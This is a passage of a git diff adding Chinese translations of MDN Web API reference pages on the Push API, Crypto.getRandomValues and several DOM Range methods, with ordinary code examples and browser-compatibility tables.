+        "src": "push-icon.png",
+        "sizes": "111x111",
+        "type": "image/png"
+      }],
+  "start_url": "/index.html",
+  "display": "standalone",
+  "gcm_sender_id": "224273183921"
+}
+ +

同时,你也需要在HTML文档用一个{{HTMLElement("link")}} 标签里指向你的manifest文件:

+ +
<link rel="manifest" href="manifest.json">
+ +

userVisibleOnly参数

+ +

Chrome 要求你在订阅推送服务的时候设置 userVisibleOnly 参数 为 true , 表示我们承诺每当收到推送通知时都会显示通知。这可以在我们的 subscribe() 函数 中看到。

+ +

See also

+ + + +
+

Note: Some of the client-side code in our Push demo is heavily influenced by Matt Gaunt's excellent examples in Push Notifications on the Open Web. Thanks for the awesome work, Matt!

+
diff --git a/files/zh-cn/web/api/pushmanager/getsubscription/index.html b/files/zh-cn/web/api/pushmanager/getsubscription/index.html new file mode 100644 index 0000000000..1a86444b2d --- /dev/null +++ b/files/zh-cn/web/api/pushmanager/getsubscription/index.html @@ -0,0 +1,95 @@ +--- +title: PushManager.getSubscription() +slug: Web/API/PushManager/getSubscription +tags: + - API + - PushManager + - Service Worker + - 实验中的 + - 方法 +translation_of: Web/API/PushManager/getSubscription +--- +

{{SeeCompatTable}}{{ApiRef("Push API")}}

+ +

{{domxref("PushManager")}} 接口的方法PushManager.getSubscription() 尝试获取已有的推送订阅。

+ +

它返回一个 {{jsxref("Promise")}} 用来resolve出一个包含现有订阅的详细信息的{{domxref("PushSubscription")}} 对象。如果不存在已有的推送订阅,返回null。

+ +

语法

+ +
​PushManager.getSubscription().then(function(pushSubscription) { ... } );
+ +

参数

+ +

无。

+ +

返回值

+ +

A {{jsxref("Promise")}} that resolves to a {{domxref("PushSubscription")}} object or null.

+ +

例子

+ +

这个代码片段来自 push messaging and notification sample. (没有能直接运行的例子.)

+ +
// We need the service worker registration to check for a subscription
+  navigator.serviceWorker.ready.then(function(serviceWorkerRegistration) {
+    // Do we already have a push message subscription?
+    serviceWorkerRegistration.pushManager.getSubscription()
+      .then(function(subscription) {
+        // Enable any UI which subscribes / unsubscribes from
+        // push messages.
+        var pushButton = document.querySelector('.js-push-button');
+        pushButton.disabled = false;
+
+        if (!subscription) {
+          // We aren’t subscribed to push, so set UI
+          // to allow the user to enable push
+          return;
+        }
+
+        // Keep your server in sync with the latest subscriptionId
+        sendSubscriptionToServer(subscription);
+
+        showCurlCommand(subscription);
+
+        // Set your UI to show they have subscribed for
+        // push messages
+        pushButton.textContent = 'Disable Push Messages';
+        isPushEnabled = true;
+      })
+      .catch(function(err) {
+        window.Demo.debug.log('Error during getSubscription()', err);
+      });
+  });
+
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('Push API', '#widl-PushManager-getSubscription-Promise-PushSubscription', 'getSubscription()')}}{{Spec2('Push API')}}最初的定义
+ +

支持的浏览器

+ +
+
+ + +

{{Compat("api.PushManager.getSubscription")}}

+
+
+ +
+
+
diff --git a/files/zh-cn/web/api/pushmanager/index.html b/files/zh-cn/web/api/pushmanager/index.html new file mode 100644 index 0000000000..28ba565023 --- /dev/null +++ b/files/zh-cn/web/api/pushmanager/index.html @@ -0,0 +1,159 @@ +--- +title: PushManager +slug: Web/API/PushManager +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Push + - Push API + - Reference + - Service Workers + - TopicStub +translation_of: Web/API/PushManager +--- +

{{SeeCompatTable}}{{ApiRef("Push API")}}

+ +

Push API 的PushManager接口提供了从第三方服务器接收消息通知的能力。

+ +

可以通过ServiceWorkerRegistration.pushManager属性获得

+ +
+

注意: 这个属性替代了已被废弃的{{domxref("PushRegistrationManager")}}

+
+ +

Properties

+ +

None.

+ +

Methods

+ +
+
{{domxref("PushManager.getSubscription()")}}
+
用于获取已经存在的push订阅。返回一个{{jsxref("Promise")}},这个{{jsxref("Promise")}}包装着push订阅信息的{{domxref("PushSubscription")}}对象。如果没有已经存在的订阅,则返回null
+
{{domxref("PushManager.permissionState()")}}
+
返回一个{{jsxref("Promise")}},标识这当前{{domxref("PushManager")}}的权限状态,只能是'granted''denied' ,'prompt'中的一种。
+
{{domxref("PushManager.subscribe()")}}
+
向push服务器(即第三方push server)发起订阅。返回一个{{jsxref("Promise")}},这个{{jsxref("Promise")}}包装着push订阅信息的{{domxref("PushSubscription")}}对象。如果当前的service worke没有已经存在的订阅,则会创建一个新的push订阅。
+
+ +

已废弃的方法

+ +
+
{{domxref("PushManager.hasPermission()")}} {{deprecated_inline}}
+
(已废弃)返回一个{{jsxref("Promise")}},标识着该webapp的PushPermissionStatus状态,该状态只能是'granted''denied' ,'default'中的一种。目前已经被{{domxref("PushManager.permissionState()")}}取代。
+
{{domxref("PushManager.register()")}} {{deprecated_inline}}
+
(已废弃)发起注册push订阅。目前已经被{{domxref("PushManager.subscribe()")}}取代。
+
{{domxref("PushManager.registrations()")}} {{deprecated_inline}}
+
(已废弃)返回已存在的push订阅信息。目前已经被{{domxref("PushManager.getSubscription()")}}取代。
+
{{domxref("PushManager.unregister()")}} {{deprecated_inline}}
+
(已废弃)取消注册并删除指定的注册信息。在更新后的API中,请使用 {{domxref("PushSubscription.unsubscribe()")}}方法取消注册。
+
+ +

示例

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // 这里我们可以将数据写入IndexedDB,发送给其他window对象,或者显示一个通知
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.subscriptionId);
+        console.log(pushSubscription.endpoint);
+        // 现在我们已经获取到了服务器需要的push订阅信息,我们可以使用XHR将它们发送给服务器
+      }, function(error) {
+        // 在开发环境下打印错误是很有帮助的。在生产环境下,将错误上报到服务器也是十分必要的
+        console.log(error);
+      }
+    );
+  });
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API','#pushmanager-interface','PushManager')}}{{Spec2('Push API')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{CompatGeckoDesktop(44.0)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(42.0)}}
+
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/pushmanager/subscribe/index.html b/files/zh-cn/web/api/pushmanager/subscribe/index.html new file mode 100644 index 0000000000..0e0f4c12e0 --- /dev/null +++ b/files/zh-cn/web/api/pushmanager/subscribe/index.html @@ -0,0 +1,138 @@ +--- +title: PushManager.subscribe() +slug: Web/API/PushManager/subscribe +translation_of: Web/API/PushManager/subscribe +--- +

{{SeeCompatTable}}{{ApiRef("Push API")}}

+ +

{{domxref("PushManager")}}  的 subscribe() 接口订阅了一个推送服务。

+ +

返回一个 {{jsxref("Promise")}} 形式的  {{domxref("PushSubscription")}} 对象,该对象包含了推送订阅详情。如果当前 service worker 没有已存在的订阅,则会创建一个新的推送订阅。

+ +

语法

+ +
​PushManager.subscribe(options).then(function(pushSubscription) { ... } );
+ +

参数

+ +
+
options {{optional_inline}}
+
一个包含可选配置参数的对象。包含以下属性: +
    +
  • userVisibleOnly: 布尔值,表示返回的推送订阅将只能被用于对用户可见的消息。
  • +
  • applicationServerKey:推送服务器用来向客户端应用发送消息的公钥。该值是应用程序服务器生成的签名密钥对的一部分,可使用在 P-256 曲线上实现的椭圆曲线数字签名(ECDSA)。可以是{{domxref("DOMString")}} 或 {{domxref("ArrayBuffer")}}。
  • +
+
+
+ +

返回值

+ +

返回 {{domxref("PushSubscription")}} 对象的 {{jsxref("Promise")}}。

+ +

示例

+ +
this.onpush = function(event) {
+  console.log(event.data);
+  // 这里可以向 IndexDB 写入数据,向任何打开的窗口发送数据以及显示通知等
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    var options = {
+      userVisibleOnly: true,
+      applicationServerKey: applicationServerKey
+    };
+    serviceWorkerRegistration.pushManager.subscribe(options).then(
+      function(pushSubscription) {
+        console.log(pushSubscription.endpoint);
+        // 应用服务器所需的推送订阅详情现在可用,并且可以通过如 XMLHttpRequest 的方式发送
+      }, function(error) {
+        // 开发过程中将错误打印到控制台通常很有帮助。同样,生产环境下将错误信息发送至应用服务器后台也一样。
+        console.log(error);
+      }
+    );
+  });
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#widl-PushManager-subscribe-Promise-PushSubscription--PushSubscriptionOptions-options', 'subscribe()')}}{{Spec2('Push API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42.0)}}{{CompatGeckoDesktop(44.0)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(42.0)}}
+
+ + + +

另见

+ + diff --git a/files/zh-cn/web/api/pushmanager/supportedcontentencodings/index.html b/files/zh-cn/web/api/pushmanager/supportedcontentencodings/index.html new file mode 100644 index 0000000000..5b8540dd96 --- /dev/null +++ b/files/zh-cn/web/api/pushmanager/supportedcontentencodings/index.html @@ -0,0 +1,43 @@ +--- +title: PushManager.supportedContentEncodings +slug: Web/API/PushManager/supportedContentEncodings +translation_of: Web/API/PushManager/supportedContentEncodings +--- +

{{SeeCompatTable}}{{APIRef("Push API")}}

+ +

{{domxref("PushManager")}}的只读方法 supportedContentEncodings 返回一组支持内容编码,可以用在加密信息中发送的消息。

+ +

语法

+ +
var encodings[] = PushManager.supportedContentEncodings
+ +

+ +

一个字符串数组

+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('Push API','#dom-pushmanager-supportedcontentencodings','supportedContentEncodings')}}{{Spec2('Push API')}}最初的定义
+ +

支持的浏览器

+ +
+
+ + +

{{Compat("api.PushManager.supportedContentEncodings")}}

+
+
diff --git a/files/zh-cn/web/api/pushmessagedata/index.html b/files/zh-cn/web/api/pushmessagedata/index.html new file mode 100644 index 0000000000..bf38ec955b --- /dev/null +++ b/files/zh-cn/web/api/pushmessagedata/index.html @@ -0,0 +1,145 @@ +--- +title: PushMessageData +slug: Web/API/PushMessageData +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Push + - Push API + - PushMessageData + - Reference + - Service Workers + - TopicStub +translation_of: Web/API/PushMessageData +--- +

{{APIRef("Push API")}}{{SeeCompatTable()}}

+ +

The PushMessageData interface of the Push API provides methods which let you retrieve the push data sent by a server in various formats.

+ +

Unlike the similar methods in the Fetch API, which only allow the method to be invoked once, these methods can be called multiple times.

+ +

Properties

+ +

None.

+ +

Methods

+ +
+
{{domxref("PushMessageData.arrayBuffer()")}}
+
Extracts the data as an {{domxref("ArrayBuffer")}} object.
+
{{domxref("PushMessageData.blob()")}}
+
Extracts the data as a {{domxref("Blob")}} object.
+
{{domxref("PushMessageData.json()")}}
+
Extracts the data as a JSON object.
+
{{domxref("PushMessageData.text()")}}
+
Extracts the data as a plain text string.
+
+ +

Examples

+ +

In our Push API Demo, we send JSON objects via push messages from our server by first converting them to strings via {{jsxref("JSON.stringify()")}} (see server.js example):

+ +
webPush.sendNotification(subscriber[2], 200, obj.key, JSON.stringify({
+  action: 'chatMsg',
+  name: obj.name,
+  msg: obj.msg
+}));
+ +

When the message reaches the service worker, we convert the data back to a JSON object using {{domxref("PushMessageData.json()")}} before working out what to do with it next:

+ +
self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#pushmessagedata-interface', 'PushMessageData')}}{{Spec2('Push API')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44.0)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/pushmessagedata/json/index.html b/files/zh-cn/web/api/pushmessagedata/json/index.html new file mode 100644 index 0000000000..115fce8052 --- /dev/null +++ b/files/zh-cn/web/api/pushmessagedata/json/index.html @@ -0,0 +1,114 @@ +--- +title: PushMessageData.json() +slug: Web/API/PushMessageData/json +tags: + - PushMessageData.json() +translation_of: Web/API/PushMessageData/json +--- +

{{APIRef("Push API")}}{{SeeCompatTable()}}

+ +

{{domxref("PushMessageData")}} 接口的 json()方法将推送消息数据提取为 一个 JSON 对象。

+ +

Syntax

+ +
let massage_Json = PushEvent.data.json();
+ +

Parameters

+ +

None.

+ +

Returns

+ +

A JSON object.

+ +

Examples

+ +
self.addEventListener('push', function(event) {
+  var jsonObj = event.data.json();
+
+  // do something with your JSON
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Push API', '#widl-PushMessageData-json-JSON', 'json()')}}{{Spec2('Push API')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(50.0)}}{{CompatGeckoDesktop(44.0)}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile(48)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(50.0)}}
+
+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/randomsource/getrandomvalues/index.html b/files/zh-cn/web/api/randomsource/getrandomvalues/index.html new file mode 100644 index 0000000000..5df5fb0a83 --- /dev/null +++ b/files/zh-cn/web/api/randomsource/getrandomvalues/index.html @@ -0,0 +1,77 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/RandomSource/getRandomValues +tags: + - API + - 加密 + - 参考 + - 安全 + - 密码学 + - 方法 +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto.getRandomValues() 方法让你可以获取符合密码学要求的安全的随机值。传入参数的数组被随机值填充(在加密意义上的随机)。

+ +

为了确保足够的性能,不使用真正的随机数生成器,但是它们正在使用具有足够熵值伪随机数生成器。它所使用的 PRNG 的实现与其他不同,但适用于加密的用途。该实现还需要使用具有足够熵的种子,如系统级熵源。

+ +

语法

+ +
cryptoObj.getRandomValues(typedArray);
+ +

参数

+ +
+
typedArray
+
是一个基于整数的 {{jsxref("TypedArray")}},它可以是 {{jsxref("Int8Array")}}、{{jsxref("Uint8Array")}}、{{jsxref("Int16Array")}}、 {{jsxref("Uint16Array")}}、 {{jsxref("Int32Array")}} 或者 {{jsxref("Uint32Array")}}。在数组中的所有的元素会被随机数重写。(注释:生成的随机数储存在 typedArray 数组上。)
+
+ +

异常事件

+ + + +

例子

+ +
/* 假设 window.crypto.getRandomValues 可用 */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("Your lucky numbers:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

标准

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Crypto.getRandomValues")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/randomsource/index.html b/files/zh-cn/web/api/randomsource/index.html new file mode 100644 index 0000000000..caa31d018f --- /dev/null +++ b/files/zh-cn/web/api/randomsource/index.html @@ -0,0 +1,106 @@ +--- +title: RandomSource +slug: Web/API/RandomSource +translation_of: Web/API/Crypto/getRandomValues +--- +

{{APIRef("Web Crypto API")}}

+ +

RandomSource 代表密码学安全随机数的来源。它可以通过全局对象的 {{domxref("Crypto")}} 获取:网页中的 {{domxref("Window.crypto")}},Workrt 里面的 {{domxref("WorkerGlobalScope.crypto")}}。

+ +

RandomSource 不是一个接口,这个类型的对象不可以被创建。

+ +

属性

+ +

RandomSource 既没有定义也没有属性。

+ +
+
+ +

方法

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
使用密码学可靠的随机值填充传递过来的 {{ domxref("ArrayBufferView") }}。
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Crypto API', '#dfn-RandomSource')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support11.0 {{ webkitbug("22049") }}{{CompatVersionUnknown}}{{CompatGeckoDesktop(21)}} [1]11.015.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}23{{CompatVersionUnknown}}{{CompatGeckoMobile(21)}}{{ CompatNo() }}{{ CompatNo() }}6
+
+ +

[1] Although the transparent RandomSource is only available since Firefox 26, the feature was available in Firefox 21.

+ +

参见

+ + diff --git a/files/zh-cn/web/api/range/clonecontents/index.html b/files/zh-cn/web/api/range/clonecontents/index.html new file mode 100644 index 0000000000..6f4e15b4ea --- /dev/null +++ b/files/zh-cn/web/api/range/clonecontents/index.html @@ -0,0 +1,64 @@ +--- +title: Range.cloneContents() +slug: Web/API/Range/cloneContents +tags: + - API + - DOM + - Method + - Range +translation_of: Web/API/Range/cloneContents +--- +

{{ APIRef("DOM") }}

+ +

Range.cloneContents() 返回一个 {{ domxref("DocumentFragment") }},它是 {{ domxref("Range") }} 中所有的 {{ domxref("Node") }} 对象的副本。

+ +

使用" DOM 事件"添加的“事件侦听器”在克隆过程中不会被复制。 HTML属性事件与“DOM Core cloneNode”方法一样被复制。“HTML id属性”也将被克隆,这可能导致通过克隆导致无效的文档。

+ +

Partially selected nodes include the parent tags necessary to make the document fragment valid.

+ +

语法

+ +
documentFragment = range.cloneContents();
+
+ +

例子

+ +
range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+documentFragment = range.cloneContents();
+document.body.appendChild(documentFragment);
+
+ +

 规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-clonecontents', 'Range.cloneContents()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-cloneContents', 'Range.cloneContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Range.cloneContents")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/range/clonerange/index.html b/files/zh-cn/web/api/range/clonerange/index.html new file mode 100644 index 0000000000..ab2f842993 --- /dev/null +++ b/files/zh-cn/web/api/range/clonerange/index.html @@ -0,0 +1,104 @@ +--- +title: Range.cloneRange() +slug: Web/API/Range/cloneRange +translation_of: Web/API/Range/cloneRange +--- +

{{ APIRef("DOM") }}

+ +

Range.cloneRange()方法返回一个range对象,并且该对象的范围边界点与被克隆的range对象相同。

+ +

克隆的对象是复制过来的,而非引用,所以这两个对象双方各自做出的改变,都不会影响另一方。

+ +

语法

+ +
clone = range.cloneRange();
+
+ +

Example

+ +
range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+clone = range.cloneRange();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-clonerange', 'Range.cloneRange()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-clone', 'Range.cloneRange()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/collapse/index.html b/files/zh-cn/web/api/range/collapse/index.html new file mode 100644 index 0000000000..621eae884f --- /dev/null +++ b/files/zh-cn/web/api/range/collapse/index.html @@ -0,0 +1,65 @@ +--- +title: Range.collapse() +slug: Web/API/Range/collapse +translation_of: Web/API/Range/collapse +--- +
{{APIRef("DOM")}}
+ +

Range.collapse() 方法向边界点折叠该 {{domxref("Range")}} 。

+ +

折叠后的 {{domxref("Range")}} 为空,不包含任何内容。

+ +

要确定 {{domxref("Range")}} 是否已折叠,使用{{domxref("Range.collapsed")}} 属性。

+ +

语法

+ +
range.collapse(toStart);
+
+ +

参数

+ +
+
toStart {{optional_inline}}
+
一个布尔值: true 折叠到 {{domxref("Range")}} 的 start 节点,false 折叠到 end 节点。如果省略,则默认为 false {{experimental_inline}}.
+
+ +

例子

+ +
var range = document.createRange();
+
+referenceNode = document.getElementsByTagName("div").item(0);
+range.selectNode(referenceNode);
+range.collapse(true);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-collapse', 'Range.collapse()')}}{{Spec2('DOM WHATWG')}}The parameter is now optional and default to false.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-collapse', 'Range.collapse()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +
{{Compat("api.Range.collapse")}}
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/range/collapsed/index.html b/files/zh-cn/web/api/range/collapsed/index.html new file mode 100644 index 0000000000..36a9f82972 --- /dev/null +++ b/files/zh-cn/web/api/range/collapsed/index.html @@ -0,0 +1,104 @@ +--- +title: Range.collapsed +slug: Web/API/Range/collapsed +translation_of: Web/API/Range/collapsed +--- +
+

{{ APIRef("DOM") }}

+
+ +

 Range.collapsed 是只读属性。它返回一个 {{domxref("Boolean")}} 值表示是否起始点和结束点是同一个位置。 如果返回 true 表示{{domxref("Range")}} 的起始位置和结束位置重合, false 表示不重合。

+ +

 一个折叠的{{domxref("Range")}} 是空的,不包含内容,表示Dom树中的一个点。collapsed 属性是只读的。可以调用 {{domxref("Range.collapse()")}} 方法来折叠选区。

+ +

语法

+ +
isCollapsed = range.collapsed;
+
+ +

例子

+ +
var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+isCollapsed = range.collapsed;
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'Range.collapsed')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-collapsed', 'Range.collapsed')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/range/commonancestorcontainer/index.html b/files/zh-cn/web/api/range/commonancestorcontainer/index.html new file mode 100644 index 0000000000..9961f3948a --- /dev/null +++ b/files/zh-cn/web/api/range/commonancestorcontainer/index.html @@ -0,0 +1,58 @@ +--- +title: Range.commonAncestorContainer +slug: Web/API/Range/commonAncestorContainer +translation_of: Web/API/Range/commonAncestorContainer +--- +
{{ApiRef("DOM")}}
+ +

Range.commonAncestorContainer 只读属性,返回目标节点的共有祖先节点。因而需要注意:selectNode方法中的该值为目标节点的父节点,selectNodeContents方法中的该值为其本身。

+ +

在某些跨节点的选取操作时,取得最大"公约数"的节点为commonAncestorContainer。即{{domxref("Range.startContainer")}} 和 {{domxref("Range.endContainer")}} 相同的节点是目标节点的 共有祖先节点。

+ +

更改 {{domxref("Node")}}, 请使用setStart setEnd 及这两种方法的延伸方法 {{domxref("Range")}}.

+ +

语法

+ +
rangeAncestor = range.commonAncestorContainer;
+ +

示例

+ +
var range = document.createRange();
+
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+rangeAncestor = range.commonAncestorContainer;
+ +

特别说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-commonancestorcontainer', 'Range.commonAncestorContainer')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-commonParent', 'Range.commonAncestorContainer')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

支持度

+ + + +

{{Compat("api.Range.commonAncestorContainer")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/range/createcontextualfragment/index.html b/files/zh-cn/web/api/range/createcontextualfragment/index.html new file mode 100644 index 0000000000..917929e7ea --- /dev/null +++ b/files/zh-cn/web/api/range/createcontextualfragment/index.html @@ -0,0 +1,60 @@ +--- +title: Range.createContextualFragment() +slug: Web/API/Range/createContextualFragment +translation_of: Web/API/Range/createContextualFragment +--- +
{{ApiRef("DOM")}}
+ +

Range.createContextualFragment() 方法通过以 range 的开头(选定节点的父级)作为上下文节点来调用 HTML 片段解析算法 或者 XML 片段解析算法来返回 {{domxref("DocumentFragment")}}。如果 range 属于一个其 HTMLness bit 被设置了的  {{domxref("Document")}} 则会应用 HTML 片段解析算法。在 HTML 的情况下,如果上下文节点为 html,由于历史原因,将使用 body 作为上下文来调用片段解析算法。

+ +

语法

+ +
documentFragment = range.createContextualFragment(tagString)
+
+ +

参数

+ +
+
tagString
+
包含要转换为文档片段的文本和标签的文本。
+
+ +

示例

+ +
var tagString = "<div>I am a div node</div>";
+var range = document.createRange();
+
+// 使文档中第一个 div 的父级成为上下文节点
+range.selectNode(document.getElementsByTagName("div").item(0));
+var documentFragment = range.createContextualFragment(tagString);
+document.body.appendChild(documentFragment);
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#dom-range-createcontextualfragment', 'Range.createContextualFragment()')}}{{Spec2('DOM Parsing')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Range.createContextualFragment")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/deletecontents/index.html b/files/zh-cn/web/api/range/deletecontents/index.html new file mode 100644 index 0000000000..44c82fb1d7 --- /dev/null +++ b/files/zh-cn/web/api/range/deletecontents/index.html @@ -0,0 +1,109 @@ +--- +title: Range.deleteContents() +slug: Web/API/Range/deleteContents +tags: + - API + - DOM + - Method + - Range +translation_of: Web/API/Range/deleteContents +--- +

{{ApiRef("DOM")}}

+ +

Range.deleteContents() 移除来自 {{ domxref("Document") }}的{{ domxref("Range") }} 内容。

+ +

不像{{ domxref("Range.extractContents") }}一样,本方法不会返回一个包含删除内容的文本片段{{domxref("DocumentFragment")}} 。

+ +

语法

+ +
range.deleteContents()
+
+ +

例子

+ +
range = document.createRange();
+range.selectNode(document.getElementsByTagName("div").item(0));
+range.deleteContents();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-range-deletecontents', 'Range.deleteContents()')}}{{Spec2('DOM WHATWG')}}No change.
